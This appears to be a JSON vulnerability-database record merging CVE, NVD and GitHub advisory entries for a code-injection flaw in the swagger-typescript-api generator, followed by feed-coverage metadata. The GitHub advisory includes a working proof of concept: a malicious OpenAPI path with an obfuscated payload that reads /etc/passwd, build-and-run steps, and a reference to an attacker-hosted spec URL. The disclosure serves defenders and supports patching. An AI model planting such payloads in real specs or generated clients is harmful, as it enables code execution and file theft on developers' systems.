{"id":"CVE-2026-54666","revision":null,"records":[{"revision":"b3782d8475dd4882b32e92481640cef3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54666","aliases":[],"title":"swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies","description":"swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, src/schema-routes/schema-routes.ts passes OpenAPI path keys through parseRouteName to templates/default/procedure-call.ejs and templates/modular/procedure-call.ejs without escaping JavaScript template literal interpolation, allowing an attacker-controlled path containing ${...} to execute when the generated method is called. This issue is fixed in version 13.12.2.","state":0,"publishedAt":"2026-07-29T14:34:48.668+00:00","modifiedAt":"2026-07-30T13:47:57.135+00:00","affected":[{"ecosystem":"Vendor product","name":"swagger-typescript-api","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"acacode\",\n                    \"product\": \"swagger-typescript-api\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 13.12.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.3,"severity":"HIGH"}],"references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54666","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54666","identifiers":["CVE-2026-54666"]},"retained":false,"historicalAffected":[]},{"revision":"ac40a7991a07442b92cf48d49122bfe5","observedAt":"2026-10-25T13:17:28.253+00:00","statement":{"source":"nvd","id":"CVE-2026-54666","aliases":[],"title":"swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, src/schema-routes/schema-routes.ts passes OpenAPI path keys through parseRouteName to templates/default/procedure-call.ejs and …","description":"swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, src/schema-routes/schema-routes.ts passes OpenAPI path keys through parseRouteName to templates/default/procedure-call.ejs and templates/modular/procedure-call.ejs without escaping JavaScript template literal interpolation, allowing an attacker-controlled path containing ${...} to execute when the generated method is called. This issue is fixed in version 13.12.2.","state":0,"publishedAt":"2026-07-29T15:16:25.99+00:00","modifiedAt":"2026-10-23T23:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.3,"severity":"HIGH"}],"references":["https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2","https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54666","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-74","CWE-94","CWE-1336"],"productCriteria":[],"sourceDates":{"published":"2026-07-29T15:16:25.990","lastModified":"2026-10-23T23:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54666","identifiers":["CVE-2026-54666"]},"retained":false,"historicalAffected":[]},{"revision":"06ebe599db2c454d80696bf8575298f9","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-w284-33mx-6g9v","aliases":["CVE-2026-54666"],"title":"swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies","description":"### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ … }` survives `parseRouteName`'s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n  /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `<%~ path %>`,\n```\n\nThe `<%~ %>` is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${…}` inside the path becomes a live JS expression evaluated when the method's `path` template is evaluated — i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =>\n  this.request<void, any>({\n    path: `/api/${(async () => {\n      // ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()\n      // — full Node.js capabilities: dynamic import('node:fs'), child_process,\n      //   network egress, environment access, etc.\n    })()}/items`,\n    method: \"GET\",\n    ...params,\n  }),\n```\n\nBiome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from('bm9kZTpmcw==','base64').toString()` — base64 contains no `:`, decodes to `'node:fs'` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed `this.request` so there is no real network egress → check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [{ \"url\": \"https://api.example.com\" }],\n  \"paths\": {\n    \"/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items\": {\n      \"get\": {\n        \"operationId\": \"evilCall\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n  name: 'Api.ts', output: process.cwd() + '/out',\n  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n  const mod = await import('./out/Api.bundle.mjs');\n  const api = new mod.Api();\n  // Stub the request implementation so there is no real network call —\n  // only the path template literal is evaluated, which is what fires the IIFE.\n  api.request = async () => ({ ok: true });\n  const group = api.api;\n  await group[Object.keys(group)[0]]();\n  await new Promise(r => setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary && cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body — payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =>\n  this.request<void, any>({\n    path: `/api/${(async () => {\n      try {\n        const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n        const f = await import(m);\n        const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n        f.writeFileSync(\"/tmp/sta_canary\", d);\n      } catch (e) {}\n      return \"x\";\n    })()}/items`,\n    method: \"GET\",\n    ...params,\n  }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets — any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces — any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)","state":0,"publishedAt":"2026-07-29T14:35:02+00:00","modifiedAt":"2026-07-29T14:56:42.518335+00:00","affected":[{"ecosystem":"npm","name":"swagger-typescript-api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"13.12.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"],"sourceUrl":"https://github.com/advisories/GHSA-w284-33mx-6g9v","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-w284-33mx-6g9v","identifiers":["GHSA-w284-33mx-6g9v","CVE-2026-54666"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T08:22:31.5744378+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T08:22:31.5744378+00:00","lastSuccessAt":"2026-10-26T08:22:31.7460185+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:22:31.7460215+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-7be668fdfdeaeb5567583afe06ddb6baaaf3c46d3179c97a67bbd53e37799306","complete":true,"records":414096,"lastAttemptAt":"2026-10-26T08:20:52.7258433+00:00","lastSuccessAt":"2026-10-26T08:20:52.6822499+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:20:52.7258433+00:00","snapshotPublishedAt":"2026-10-26T07:44:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T08:22:34.3793835+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T08:22:31.5744378+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T08:22:31.5744378+00:00","lastSuccessAt":"2026-10-26T08:22:31.7471397+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:22:31.7471404+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T08:22:32.3026766+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T08:22:31.5153923+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:22:31.5153923+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T08:20:52.7776084+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:20:52.7776084+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T08:22:31.531764+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:22:31.531764+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-654e90fb44abcd729ddecf56d54c1b46ce87ca3181850e8bc65d5c8befceb659","complete":true,"records":230805,"lastAttemptAt":"2026-10-26T08:22:31.3932452+00:00","lastSuccessAt":"2026-10-26T08:22:30.1390577+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:22:31.3932452+00:00","snapshotPublishedAt":"2026-10-26T07:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}